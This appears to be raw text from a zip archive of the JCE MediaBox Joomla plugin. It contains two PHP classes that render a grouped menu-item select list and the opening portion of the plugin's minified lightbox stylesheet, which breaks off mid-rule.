 * @copyright 	Copyright (c) 2009-2012 Ryan Demmer. All rights reserved.
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
defined('JPATH_BASE') or die;

/**
 * Supports an HTML grouped select list of menu item grouped by menu
 */
class WFElementMenuItem extends WFElement {

    /**
     * Element name
     *
     * @access	protected
     * @var		string
     */
    var $_name = 'MenuItem';

    function fetchElement($name, $value, &$node, $control_name) {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);

        $menuType = $this->_parent->get('menu_type');
        $where = array();
        
        if (!empty($menuType)) {
            $where[] = 'menutype = ' . $db->Quote($menuType);
        } else {
            $where[] = '1';
        }

        // Load the list of menu types
        // TODO: move query to model
        $query->select('menutype, title')->from('#__menu_types')->order('title');
        $db->setQuery($query);
        $menuTypes = $db->loadObjectList();
        
        // get state if set
        $state = (string) $node->attributes()->state;

        // only get published menu items
        $where[] = 'published = 1';

        $query = $db->getQuery(true);
        // load the list of menu items
        // TODO: move query to model
        $query->select('id, parent_id, title, menutype, type')->from('#__menu')->where($where)->order('menutype, parent_id');

        $db->setQuery($query);
        $menuItems = $db->loadObjectList();

        // Establish the hierarchy of the menu
        // TODO: use node model
        $children = array();

        if ($menuItems) {
            // First pass - collect children
            foreach ($menuItems as $v) {
                $pt = $v->parent_id;
                $list = @$children[$pt] ? $children[$pt] : array();
                array_push($list, $v);
                $children[$pt] = $list;
            }
        }

        // Second pass - get an indent list of the items
        $list = JHtml::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);

        // Assemble into menutype groups
        $n = count($list);
        $groupedList = array();
        foreach ($list as $k => $v) {
            $groupedList[$v->menutype][] = &$list[$k];
        }

        // Assemble menu items to the array
        $options = array();
        $options[] = JHtml::_('select.option', '', JText::_('JOPTION_SELECT_MENU_ITEM'));

        foreach ($menuTypes as $type) {
            if ($menuType == '') {
                //$options[] = JHtml::_('select.option', '0', '&#160;', 'value', 'text', true);
                $options[] = JHtml::_('select.option', $type->menutype, $type->title . ' - ' . JText::_('JGLOBAL_TOP'), 'value', 'text', true);
            }
            if (isset($groupedList[$type->menutype])) {
                $n = count($groupedList[$type->menutype]);
                for ($i = 0; $i < $n; $i++) {
                    $item = &$groupedList[$type->menutype][$i];

                    // If menutype is changed but item is not saved yet, use the new type in the list
                    if (JRequest::getString('option', '', 'get') == 'com_menus') {
                        $currentItemArray = JRequest::getVar('cid', array(0), '', 'array');
                        $currentItemId = (int) $currentItemArray[0];
                        $currentItemType = JRequest::getString('type', $item->type, 'get');
                        if ($currentItemId == $item->id && $currentItemType != $item->type) {
                            $item->type = $currentItemType;
                        }
                    }
                    
                    $disable = false;
                    
                    if ($item->type) {
                        $disable = strpos((string) $node->attributes()->disable, $item->type) !== false ? true : false;
                    }

                    $options[] = JHtml::_('select.option', $item->id, '&#160;&#160;&#160;' . $item->treename, 'value', 'text', $disable);
                }
            }
        }
        
        $id      = $control_name . $name;
        $name    = $control_name . '[' . $name . ']';
        
        $attribs = array('class="inputbox"');
        
        if ($multiple = (string) $node->attributes()->multiple) {                        
            
            $attribs[]   = 'multiple="multiple"';
            $attribs[]   = 'size="' . (int) $node->attributes()->size . '"';
            $name       .= '[]';
        }

        return JHtml::_(
            'select.genericlist', $options, $name, array('id' => $id, 'list.attr' => implode(' ', $attribs), 'list.select' => $value)
        );
    }

}PK�(]9�v���.system/jcemediabox/elements/menuitemlegacy.phpnu�[���<?php
/**
* @version		$Id: menuitem.php 14401 2010-01-26 14:10:00Z louis $
* @package		Joomla.Framework
* @subpackage	Parameter
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Renders a menu item element
 *
 * @package 	Joomla.Framework
 * @subpackage	Parameter
 * @since		1.5
 */

class JElementMenuItemLegacy extends JElement
{
	/**
	* Element name
	*
	* @access	protected
	* @var		string
	*/
	var	$_name = 'MenuItemLegacy';

	function fetchElement($name, $value, &$node, $control_name)
	{
		$db =& JFactory::getDBO();

		$menuType = $this->_parent->get('menu_type');
		if (!empty($menuType)) {
			$where = ' WHERE menutype = '.$db->Quote($menuType);
		} else {
			$where = ' WHERE 1';
		}

		// load the list of menu types
		// TODO: move query to model
		$query = 'SELECT menutype, title' .
				' FROM #__menu_types' .
				' ORDER BY title';
		$db->setQuery( $query );
		$menuTypes = $db->loadObjectList();
                
                // get state if set
                $state = (int) $node->attributes('state');
                
                // only get published menu items
		$where .= ' AND published = 1';

		// load the list of menu items
		// TODO: move query to model
		$query = 'SELECT id, parent, name, menutype, type' .
                ' FROM #__menu' .
                $where .
                ' ORDER BY menutype, parent, ordering'
                ;

		$db->setQuery($query);
		$menuItems = $db->loadObjectList();

		// establish the hierarchy of the menu
		// TODO: use node model
		$children = array();

		if ($menuItems)
		{
			// first pass - collect children
			foreach ($menuItems as $v)
			{
				$pt 	= $v->parent;
				$list 	= @$children[$pt] ? $children[$pt] : array();
				array_push( $list, $v );
				$children[$pt] = $list;
			}
		}

		// second pass - get an indent list of the items
		$list = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0 );

		// assemble into menutype groups
		$n = count( $list );
		$groupedList = array();
		foreach ($list as $k => $v) {
			$groupedList[$v->menutype][] = &$list[$k];
		}

		// assemble menu items to the array
		$options 	= array();
		$options[]	= JHTML::_('select.option', '', '- '.JText::_('Select Item').' -');

		foreach ($menuTypes as $type)
		{
			if ($menuType == '')
			{
				$options[]	= JHTML::_('select.option',  '0', '&nbsp;', 'value', 'text', true);
				$options[]	= JHTML::_('select.option',  $type->menutype, $type->title . ' - ' . JText::_( 'Top' ), 'value', 'text', true );
			}
			if (isset( $groupedList[$type->menutype] ))
			{
				$n = count( $groupedList[$type->menutype] );
				for ($i = 0; $i < $n; $i++)
				{
					$item = &$groupedList[$type->menutype][$i];
					
					//If menutype is changed but item is not saved yet, use the new type in the list
					if ( JRequest::getString('option', '', 'get') == 'com_menus' ) {
						$currentItemArray = JRequest::getVar('cid', array(0), '', 'array');
						$currentItemId = (int) $currentItemArray[0];
						$currentItemType = JRequest::getString('type', $item->type, 'get');
						if ( $currentItemId == $item->id && $currentItemType != $item->type) {
							$item->type = $currentItemType;
						}
					}
					
					$disable = strpos($node->attributes('disable'), $item->type) !== false ? true : false;
					$options[] = JHTML::_('select.option',  $item->id, '&nbsp;&nbsp;&nbsp;' .$item->treename, 'value', 'text', $disable );

				}
			}
		}
                
                $attribs = array('class="inputbox"');
                $name = $control_name.'['.$name.']';  
                $id = $control_name.$name;
                
                if ($node->attributes('multiple')) {
                    $attribs[]= 'multiple="multiple"';
                    $name .= '[]';
                    
                    if ($node->attributes('size')) {
                        $attribs[] = 'size="' . (int) $node->attributes('size') . '"';
                    }
                }

		return JHTML::_('select.genericlist',  $options, $name, implode(' ', $attribs), 'value', 'text', $value, $id);
	}
}
PK�(])��Z�`�`*system/jcemediabox/css/jcemediabox.min.cssnu�[���.wf-mediabox-numbers *,[class^=wf-mediabox]{left:0;top:0;margin:0;padding:0;border:0;outline:0;vertical-align:top;background:0 0;text-decoration:none;color:#444;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:inherit;text-shadow:none;text-transform:none;float:none;position:relative;width:auto;height:auto;white-space:normal;cursor:inherit;-webkit-tap-highlight-color:transparent;line-height:normal;font-weight:400;text-align:left;box-sizing:border-box;direction:ltr;max-width:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-shadow:none;-webkit-box-shadow:none;-webkit-appearance:none}.wf-mediabox-scrolling{position:relative}.wf-mediabox{position:fixed;z-index:10000;width:100%;height:100%;font-size:16px}.wf-mediabox-cache{position:absolute;left:-99999px}.wf-mediabox-scrolling .wf-mediabox{position:absolute;top:0;left:0;bottom:0;right:0}.wf-mediabox-overlay{position:absolute;cursor:pointer;background-color:#000;width:100%;height:100%}.wf-mediabox-overlay-transition .wf-mediabox-overlay{opacity:0;transition:opacity .3s ease-in-out}.wf-mediabox-open .wf-mediabox-overlay{opacity:.7}.wf-mediabox-loader:before{content:"";position:absolute;width:100%;height:100%;left:0;top:0;z-index:10000;box-sizing:border-box}.wf-mediabox-loader:after{content:"";display:block;border:.25em solid rgba(255,255,255,.5);border-left-color:#fff;border-radius:50%;width:2em;height:2em;animation:donut-spin 1.2s linear infinite;z-index:10001;position:absolute;top:50%;left:50%;margin:-1em 0 0 -1em;box-sizing:border-box}.wf-mediabox-body,.wf-mediabox-frame:after{display:inline-block;vertical-align:middle}@keyframes donut-spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.wf-mediabox-frame:after{content:"";height:100%}.wf-mediabox-frame{box-sizing:border-box;height:100%;left:0;position:absolute;text-align:center;top:0;width:100%}.wf-mediabox-body{z-index:10002;cursor:default;margin:0 auto;position:relative;text-align:left;width:100%;visibility:hidden;box-shadow:0 0 30px rgba(0,0,0,.5);max-width:260px}.wf-mediabox-broken-image,.wf-mediabox-broken-media>div,.wf-mediabox-loading .wf-mediabox-content-image{min-width:240px;min-height:135px}.wf-mediabox-loader{text-align:center;line-height:0;display:none;width:100%;height:100%;position:absolute}.wf-mediabox-loading .wf-mediabox-loader{display:inline-block!important}.wf-mediabox-info-bottom,.wf-mediabox-info-top{overflow:hidden;position:relative;margin:0;padding:0;border:0}.wf-mediabox-container{overflow:hidden;max-width:100%;height:auto}[class*=wf-mediabox-transition-] .wf-mediabox-body{opacity:0;transition:.3s ease-in;transition-property:opacity,transform}.wf-mediabox-transition-scale .wf-mediabox-body{transform:scale3d(.9,.9,1)}.wf-mediabox-transition-slide-in .wf-mediabox-body{transform:translateX(300%) translateY(0)}.wf-mediabox-transition-slide-out .wf-mediabox-body{transform:translateX(-200%) translateY(0)}.wf-mediabox-body:after{content:"";position:absolute;width:100%;height:100%;left:0;top:0;background:#fff}.wf-mediabox-show .wf-mediabox-body{visibility:visible}.wf-mediabox-caption-hidden *,.wf-mediabox-content-ajax iframe,.wf-mediabox-theme-uikit .wf-mediabox-content nav,.wf-zoom-image-hover .wf-icon-zoom-image{visibility:hidden}.wf-mediabox-transition-scale .wf-mediabox-body.wf-mediabox-transition{opacity:1;transform:scale3d(1,1,1)}.wf-mediabox-transition-slide-in .wf-mediabox-body.wf-mediabox-transition,.wf-mediabox-transition-slide-out .wf-mediabox-body.wf-mediabox-transition{opacity:1;transform:translateX(0) translateY(0)}.wf-mediabox-body.wf-mediabox-transition:after{content:"";width:0;height:0}.wf-mediabox-content{width:auto;height:auto;overflow:hidden;display:block}.wf-mediabox-content-item>figure{margin:0;position:absolute;width:100%;height:100%;left:0;top:0;display:block}.wf-mediabox-content-item>figure>figcaption{text-align:center;position:absolute;width:100%;display:block;bottom:0;background:#fff;padding:.25em}.wf-mediabox-scroll .wf-mediabox-content-image{overflow:auto}.wf-mediabox-scroll .wf-mediabox-content-image img{max-width:inherit}.wf-mediabox-content-ajax .wf-mediabox-content-item,.wf-mediabox-content-iframe .wf-mediabox-content-item,.wf-mediabox-content-object .wf-mediabox-content-item,.wf-mediabox-content-video .wf-mediabox-content-item{padding-bottom:56.25%;width:100%;height:0;overflow:inherit}.wf-mediabox-content-ratio-4by3 .wf-mediabox-content-item{padding-bottom:75%}.wf-mediabox-content-ratio-flex .wf-mediabox-content-item{padding-bottom:0}.wf-mediabox-container .wf-mediabox-content-height{padding:initial;min-height:320px}.wf-mediabox-content-ajax{overflow:auto}.wf-mediabox-content-audio,.wf-mediabox-content-image{text-align:center;width:100%;height:auto}.wf-mediabox-content p.media-support{font-size:20px;color:#888;font-weight:700;text-align:center;height:100%;position:relative;top:50%;margin-top:-10px}.wf-mediabox-content-iframe iframe,.wf-mediabox-content-object embed,.wf-mediabox-content-object object,.wf-mediabox-content-video video{border:0;position:absolute;top:0;left:0;width:100%;height:100%}.wf-mediabox-content-audio audio,.wf-mediabox-content-image img{text-align:center;width:100%;height:auto}.wf-mediabox-content-audio audio{min-height:40px}.wf-mediabox.ios .wf-mediabox-content{overflow:scroll;-webkit-overflow-scrolling:touch}.wf-mediabox-ajax{overflow:auto;border:0;margin:0;background-color:#fff}a.wf-mediabox-img{line-height:0;font-size:0}.wf-mediabox-caption,.wf-mediabox-nav{display:block}.wf-mediabox-nav button{padding:0!important;font-size:inherit!important}.wf-mediabox-caption,.wf-mediabox-caption h4,.wf-mediabox-caption p{margin:0;padding:0;border:0;line-height:normal;white-space:normal}.wf-mediabox-caption p{max-height:25vh;overflow:auto}.wf-zoom-image{position:relative;line-height:0;font-size:0;display:inline-block}.wf-mediabox-has-float{display:block}.wf-mediabox-is-centered{display:block;margin:auto}.wf-zoom-image-hover:hover .wf-icon-zoom-image{visibility:visible}.wf-icon-zoom-image:before,.wf-icon-zoom-image>svg{color:#fff;font-size:24px;height:28px;position:absolute;text-align:center;width:24px;opacity:.8;top:auto;bottom:5px;left:auto;right:5px;z-index:1}.wf-icon-zoom-image>svg{fill:#fff;transform:scale(-1)}.wf-zoom-image-invert .wf-icon-zoom-image:before{color:#444}.wf-zoom-image-invert .wf-icon-zoom-image>svg{fill:#444}.wf-icon-zoom-left-top .wf-icon-zoom-image:before,.wf-icon-zoom-left-top .wf-icon-zoom-image>svg,.wf-icon-zoom-top-left .wf-icon-zoom-image:before,.wf-icon-zoom-top-left .wf-icon-zoom-image>svg{top:5px;bottom:auto;left:5px;right:auto}.wf-icon-zoom-right-top .wf-icon-zoom-image:before,.wf-icon-zoom-right-top .wf-icon-zoom-image>svg,.wf-icon-zoom-top-right .wf-icon-zoom-image:before,.wf-icon-zoom-top-right .wf-icon-zoom-image>svg{top:5px;bottom:auto}.wf-icon-zoom-bottom-left .wf-icon-zoom-image:before,.wf-icon-zoom-bottom-left .wf-icon-zoom-image>svg,.wf-icon-zoom-left-bottom .wf-icon-zoom-image:before,.wf-icon-zoom-left-bottom .wf-icon-zoom-image>svg{top:auto;bottom:5px;left:5px;right:auto}.wf-icon-zoom-center-top .wf-icon-zoom-image:before,.wf-icon-zoom-center-top .wf-icon-zoom-image>svg,.wf-icon-zoom-top-center .wf-icon-zoom-image:before,.wf-icon-zoom-top-center .wf-icon-zoom-image>svg{left:50%;margin-left:-12px;top:5px;bottom:auto;right:auto}.wf-icon-zoom-bottom-center .wf-icon-zoom-image:before,.wf-icon-zoom-bottom-center .wf-icon-zoom-image>svg,.wf-icon-zoom-center-bottom .wf-icon-zoom-image:before,.wf-icon-zoom-center-bottom .wf-icon-zoom-image>svg{left:50%;margin-left:-12px;right:auto}.wf-icon-zoom-center-right .wf-icon-zoom-image:before,.wf-icon-zoom-right .wf-icon-zoom-image:after,.wf-icon-zoom-right-center .wf-icon-zoom-image:before{margin-top:-12px;top:50%;bottom:auto}.wf-icon-zoom-center-left .wf-icon-zoom-image:before,.wf-icon-zoom-center-left .wf-icon-zoom-image>svg,.wf-icon-zoom-left .wf-icon-zoom-image:before,.wf-icon-zoom-left .wf-icon-zoom-image>svg,.wf-icon-zoom-left-center .wf-icon-zoom-image:before,.wf-icon-zoom-left-center .wf-icon-zoom-image>svg{margin-top:-12px;top:50%;bottom:auto;left:5px;right:auto}.wf-icon-zoom-center .wf-icon-zoom-image:before,.wf-icon-zoom-center .wf-icon-zoom-image>svg{margin-top:-12px;margin-left:-12px;top:50%;bottom:auto;left:50%;right:auto}.wf-icon-zoom-image{background:0 0;border:0;cursor:pointer;display:inline-block;float:none;font-size:100%;margin:0;outline:0;overflow:hidden;padding:0;vertical-align:baseline;position:absolute;width:100%;height:100%;left:0;top:0;pointer-events:none}.wf-hidden,.wf-mediabox-caption:empty,a.wfpopup.hide,a.wfpopup.noshow,area .wf-icon-zoom-link{display:none}.wf-icon-zoom-link:before{padding:0 0 0 5px;vertical-align:middle}.wf-icon-zoom-link>svg{padding:2px 0 0 5px;vertical-align:middle;width:16px;height:16px;transform:scaleY(-1);line-height:1}.wf-mediaplayer-object{background-color:#000;background-repeat:no-repeat;background-size:cover}.wf-mediabox-close,.wf-mediabox-next,.wf-mediabox-numbers a,.wf-mediabox-prev{cursor:pointer}.wf-mediabox-numbers a{color:inherit}.wf-mediabox figure{margin:0}.wf-mediabox figcaption{text-align:initial}.wf-icon-404{visibility:visible;background-color:#fff}.wf-icon-404>svg{width:5em;height:5em;margin:auto;transform:scale(-1);fill:#444}.wf-mediabox-frame{padding:.5em}.wf-mediabox-container{background-color:#fff;border-radius:.25em;padding:.5em}.wf-mediabox-body:after{border-radius:.25em}.wf-mediabox-info-bottom{padding:.5em 0 0}.wf-mediabox-nav{background-color:#fff;padding:1em}.wf-mediabox-close,.wf-mediabox-next,.wf-mediabox-prev{display:block;height:2em;left:auto;position:absolute;width:2em;z-index:1;color:#444;text-align:center;vertical-align:middle;line-height:2em}.wf-mediabox-close>svg,.wf-mediabox-next>svg,.wf-mediabox-prev>svg{fill:#444;vertical-align:middle}.wf-mediabox-close:after,.wf-mediabox-next:after,.wf-mediabox-prev:after{font-size:1.5em}.wf-mediabox-close:before,.wf-mediabox-next:before,.wf-mediabox-prev:before{line-height:inherit}.wf-mediabox-close{top:0;right:0}.wf-mediabox-close:focus,.wf-mediabox-close:hover,.wf-mediabox-next:focus,.wf-mediabox-next:hover,.wf-mediabox-prev:focus,.wf-mediabox-prev:hover{color:#888;text-decoration:none;outline:0}.wf-mediabox-close:focus>svg,.wf-mediabox-close:hover>svg,.wf-mediabox-next:focus>svg,.wf-mediabox-next:hover>svg,.wf-mediabox-prev:focus>svg,.wf-mediabox-prev:hover>svg{fill:#888}.wf-mediabox-prev{left:0;top:2em}.wf-mediabox-next{right:0;top:2em;left:auto}.wf-mediabox-numbers{text-align:center;display:block;line-height:2em;top:1em}.wf-mediabox-numbers ol{text-align:center}.wf-mediabox-numbers button{border:none;display:inline-block;width:100%;height:100%;border-radius:100%;font-size:14px!important;text-align:center;cursor:pointer}.wf-mediabox-numbers button:hover{font-weight:700;text-decoration:none;color:inherit;background-color:transparent;background-image:none}.wf-mediabox-numbers button.active{cursor:default;background:#444;color:#fff;font-weight:700;border:6px solid #fff}.wf-mediabox-numbers button:focus{background-color:#444;color:#fff}.wf-mediabox-caption{padding:.5em 0 .25em;background-color:#fff}.wf-mediabox-caption h4{font-size:1.2em;line-height:1.2}.wf-mediabox-caption h4 a,.wf-mediabox-caption h4 a:active,.wf-mediabox-caption h4 a:hover,.wf-mediabox-caption h4 a:visited,.wf-mediabox-caption p a,.wf-mediabox-caption p a:active,.wf-mediabox-caption p a:hover,.wf-mediabox-caption p a:visited{color:#444;font-weight:700;text-decoration:none}.wf-mediabox-numbers>ol li{display:inline-block;box-sizing:border-box;width:2em;height:2em;vertical-align:middle;line-height:1.75}.wf-mediabox-content a[download]{padding:.5em 0;display:block;text-align:right;text-decoration:none;color:#444}.wf-mediabox-content a[download]:active,.wf-mediabox-content a[download]:visited{text-decoration:none;color:#444}.wf-mediabox-content a[download]:hover{text-decoration:underline}.wf-mediabox-broken-image img{display:none}.wf-mediabox-broken-image .wf-mediabox-content-image:before{position:absolute;font-size:100px;height:auto;width:100%;text-align:center;left:0;top:50%;margin-top:-50px;opacity:.5}.wf-mediabox-broken-image .wf-icon-404{position:absolute;left:0;top:0;right:0;bottom:0;display:flex;align-content:center;text-align:center}.wf-mediabox-broken-image .wf-icon-404:after{font-size:5em;display:block;width:100%;height:100%;position:relative;line-height:1.75}.wf-mediabox-thumbnails{display:flex;max-height:4rem;align-content:center;justify-content:center;flex-flow:row nowrap;gap:1%;z-index:10;margin-top:-4em;background:rgba(0,0,0,.3);padding:.5em;overflow:hidden;transition:all .5s ease-in-out 0s;opacity:0}.wf-mediabox-container:hover .wf-mediabox-thumbnails{opacity:1}.wf-mediabox-thumbnails img{cursor:pointer;object-fit:contain;max-height:4rem;min-width:1rem;max-width:4rem;height:auto}.wf-mediabox-thumbnails img.active{outline:#fff solid 1px}.tooltip{position:absolute;z-index:1030;display:block;visibility:visible;font-size:11px;line-height:1.4;opacity:0;filter:alpha(opacity=0)}.tooltip.in{opacity:.8;filter:alpha(opacity=80)}.tooltip.top{margin-top:-3px;padding:5px 0}.tooltip.right{margin-left:3px;padding:0 5px}.tooltip.bottom{margin-top:3px;padding:5px 0}.tooltip.left{margin-left:-3px;padding:0 5px}.tooltip-inner{max-width:200px;padding:8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.wf-mediabox-theme-bootstrap{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px}.wf-mediabox-theme-bootstrap.wf-mediabox .modal{width:auto;margin:inherit;padding:0;position:relative;left:inherit}.wf-mediabox-theme-bootstrap .modal-header{min-height:30px;padding:9px 30px 9px 15px}.wf-mediabox-theme-bootstrap .modal-header h4{font-size:18px;font-weight:500;line-height:2}.wf-mediabox-theme-bootstrap .modal-body{padding:5px;width:auto;max-height:inherit}.wf-mediabox-theme-bootstrap .carousel{margin-bottom:inherit}.wf-mediabox-theme-bootstrap .wf-mediabox-caption{padding:0;background-color:inherit}.wf-mediabox-theme-bootstrap .wf-mediabox-close{float:none;left:auto;position:absolute;right:15px;top:10px;z-index:1}.wf-mediabox-theme-bootstrap .modal-header .close{margin-top:0}.wf-mediabox-theme-bootstrap .wf-mediabox-close:hover{background-color:transparent}.wf-mediabox-theme-bootstrap .wf-mediabox-nav{position:absolute;left:0;width:100%;height:100%;top:0;background:0 0;padding:0}.wf-mediabox-theme-bootstrap .wf-mediabox-next::after,.wf-mediabox-theme-bootstrap .wf-mediabox-prev::after{content:""}.wf-mediabox-theme-bootstrap .wf-mediabox-content-image{padding:10px}.wf-mediabox-theme-bootstrap .wf-mediabox-content-audio,.wf-mediabox-theme-bootstrap .wf-mediabox-content-image{width:auto}.glyphicon-chevron-left:before{content:"\2039"}.glyphicon-chevron-right:before{content:"\203A"}.wf-mediabox-theme-light .wf-mediabox-container{border-radius:0}.wf-mediabox-theme-light .wf-mediabox-close::before{content:"×";font-size:1.5em;font-weight:700;vertical-align:middle;display:inline-block;margin-bottom:.25em}.wf-mediabox-theme-light .wf-mediabox-close{border:none;color:#666;display:block;font-family:Verdana,Geneva,Arial,Helvetica,sans-serif;font-size:1em;left:auto;min-height:2em;position:absolute;right:0;text-transform:uppercase;z-index:1;background-color:transparent;width:auto;line-height:1;top:0}.wf-mediabox-theme-light .wf-mediabox-caption:empty+.wf-mediabox-nav{padding:1.5em 0}.wf-mediabox-theme-light .wf-mediabox-caption:empty+.wf-mediabox-nav>*{top:1em}.wf-mediabox-theme-light .wf-mediabox-close:focus,.wf-mediabox-theme-light .wf-mediabox-close:hover,.wf-mediabox-theme-light .wf-mediabox-close:visited{text-decoration:none;color:inherit;outline:0;background-color:transparent}.wf-mediabox-theme-light .wf-mediabox-next,.wf-mediabox-theme-light .wf-mediabox-prev{width:25%;height:100%;background-color:transparent;z-index:10003;position:absolute;top:0;font-family:Verdana,Geneva,Arial,Helvetica,sans-serif;outline:0}.wf-mediabox-theme-light .wf-mediabox-prev{left:0}.wf-mediabox-theme-light .wf-mediabox-next{right:0;left:auto}.wf-mediabox-theme-light .wf-mediabox-next:after,.wf-mediabox-theme-light .wf-mediabox-prev:after{background-color:#fff;content:"\00ab";display:none;position:absolute;top:50%;color:#666;line-height:1.25em;text-align:center;margin-top:-1em;padding:.25em 1em;font-weight:700}.wf-mediabox-theme-light .wf-mediabox-prev:after{left:0;box-shadow:rgba(0,0,0,.3) 2px 2px 2px}.wf-mediabox-theme-light .wf-mediabox-next:after{content:"\00bb";left:auto;right:-1px;box-shadow:rgba(0,0,0,.3) -2px 2px 2px}.wf-mediabox-next:focus,.wf-mediabox-theme-light .wf-mediabox-next:hover,.wf-mediabox-theme-light .wf-mediabox-prev:focus,.wf-mediabox-theme-light .wf-mediabox-prev:hover{background-color:transparent}.wf-mediabox-theme-shadow .wf-mediabox-body:after,.wf-mediabox-theme-shadow .wf-mediabox-container.wf-mediabox-loading{background-color:#000}.wf-mediabox-theme-light .wf-mediabox-next:hover:after,.wf-mediabox-theme-light .wf-mediabox-prev:hover:after{display:block}.wf-mediabox-theme-light .wf-mediabox-numbers{color:#666;display:block;padding:0;text-align:left;line-height:2em;top:0;position:absolute}.wf-mediabox-theme-light .wf-mediabox-caption{margin:0}.wf-mediabox-theme-light .wf-mediabox-caption h4,.wf-mediabox-theme-light .wf-mediabox-caption p{color:#666}.wf-mediabox-theme-light .wf-mediabox-caption h4 a,.wf-mediabox-theme-light .wf-mediabox-caption h4 a:active,.wf-mediabox-theme-light .wf-mediabox-caption h4 a:hover,.wf-mediabox-theme-light .wf-mediabox-caption h4 a:visited,.wf-mediabox-theme-light .wf-mediabox-caption p a,.wf-mediabox-theme-light .wf-mediabox-caption p a:active,.wf-mediabox-theme-light .wf-mediabox-caption p a:hover,.wf-mediabox-theme-light .wf-mediabox-caption p a:visited{color:#666;font-weight:700;text-decoration:none}.wf-mediabox-theme-light .wf-mediabox-page.idevice .wf-mediabox-container{margin-bottom:-1px}.wf-mediabox-theme-shadow .wf-mediabox-body{box-shadow:none}.wf-mediabox-theme-shadow .wf-mediabox-container{border:1px solid #666;border-radius:0;padding:0}.wf-mediabox-theme-shadow .wf-mediabox-loader{text-align:center;z-index:auto}.wf-mediabox-theme-shadow .wf-mediabox-close{border-radius:0;background-color:transparent;top:0}.wf-mediabox-theme-shadow .wf-mediabox-cancel{cursor:pointer;color:#fff;z-index:1;top:calc(50% - 3rem)}.wf-mediabox-theme-shadow .wf-mediabox-info-bottom{padding:0}.wf-mediabox-theme-shadow .wf-mediabox-nav{padding:0;background-color:transparent}.wf-mediabox-theme-shadow .wf-mediabox-close,.wf-mediabox-theme-shadow .wf-mediabox-next,.wf-mediabox-theme-shadow .wf-mediabox-prev{display:block;left:auto;z-index:1;float:right;position:relative}.wf-mediabox-theme-shadow .wf-mediabox-next>svg,.wf-mediabox-theme-shadow .wf-mediabox-prev>svg{width:1em;height:1em;line-height:1;margin-bottom:2px;fill:#fff}.wf-mediabox-theme-shadow .wf-mediabox-next,.wf-mediabox-theme-shadow .wf-mediabox-prev{border:none;border-radius:0;background-color:transparent;left:auto;top:0;color:#fff}.wf-mediabox-theme-shadow .wf-mediabox-close:after,.wf-mediabox-theme-shadow .wf-mediabox-next:after,.wf-mediabox-theme-shadow .wf-mediabox-prev:after{color:#fff;display:block;font-family:Arial;font-weight:700;line-height:2;text-align:center;text-decoration:none}.wf-mediabox-theme-shadow .wf-mediabox-close:after{content:"\00d7";line-height:1;font-size:1.75em}.wf-mediabox-theme-shadow .wf-mediabox-numbers button{color:#fff}.wf-mediabox-theme-shadow .wf-mediabox-numbers button.active{border:0;background:0 0;text-decoration:underline}.wf-mediabox-theme-shadow .wf-mediabox-close:focus,.wf-mediabox-theme-shadow .wf-mediabox-close:hover,.wf-mediabox-theme-shadow .wf-mediabox-next:focus,.wf-mediabox-theme-shadow .wf-mediabox-next:hover,.wf-mediabox-theme-shadow .wf-mediabox-prev:focus,.wf-mediabox-theme-shadow .wf-mediabox-prev:hover{background-color:transparent;color:#fff}.wf-mediabox-theme-shadow .wf-mediabox-numbers{text-align:left;display:block;color:#fff;margin-right:6em;float:left;line-height:2em;top:0;margin-top:0}.wf-mediabox-theme-shadow .wf-mediabox-cancel:active,.wf-mediabox-theme-shadow .wf-mediabox-cancel:visited,.wf-mediabox-theme-shadow .wf-mediabox-numbers a:active,.wf-mediabox-theme-shadow .wf-mediabox-numbers a:hover,.wf-mediabox-theme-shadow .wf-mediabox-numbers a:link,.wf-mediabox-theme-shadow .wf-mediabox-numbers a:visited{text-decoration:none;color:#fff}.wf-mediabox-theme-shadow .wf-mediabox-cancel:hover,.wf-mediabox-theme-shadow .wf-mediabox-caption h4 a,.wf-mediabox-theme-shadow .wf-mediabox-caption h4 a:active,.wf-mediabox-theme-shadow .wf-mediabox-caption h4 a:hover,.wf-mediabox-theme-shadow .wf-mediabox-caption h4 a:visited,.wf-mediabox-theme-shadow .wf-mediabox-caption p a,.wf-mediabox-theme-shadow .wf-mediabox-caption p a:active,.wf-mediabox-theme-shadow .wf-mediabox-caption p a:hover,.wf-mediabox-theme-shadow .wf-mediabox-caption p a:visited{text-decoration:underline;color:#fff}.wf-mediabox-theme-shadow .wf-mediabox-caption{padding:0;min-height:2em;background-color:transparent}.wf-mediabox-theme-shadow .wf-mediabox-content-ajax{margin:.5em}.wf-mediabox-theme-shadow .wf-mediabox-caption h4,.wf-mediabox-theme-shadow .wf-mediabox-caption p{color:#fff}.wf-mediabox-theme-shadow .wf-mediabox-content a[download]{position:fixed;top:0;right:0;color:#fff}.wf-mediabox-theme-squeeze .wf-mediabox-frame{padding:1em}.wf-mediabox-theme-squeeze 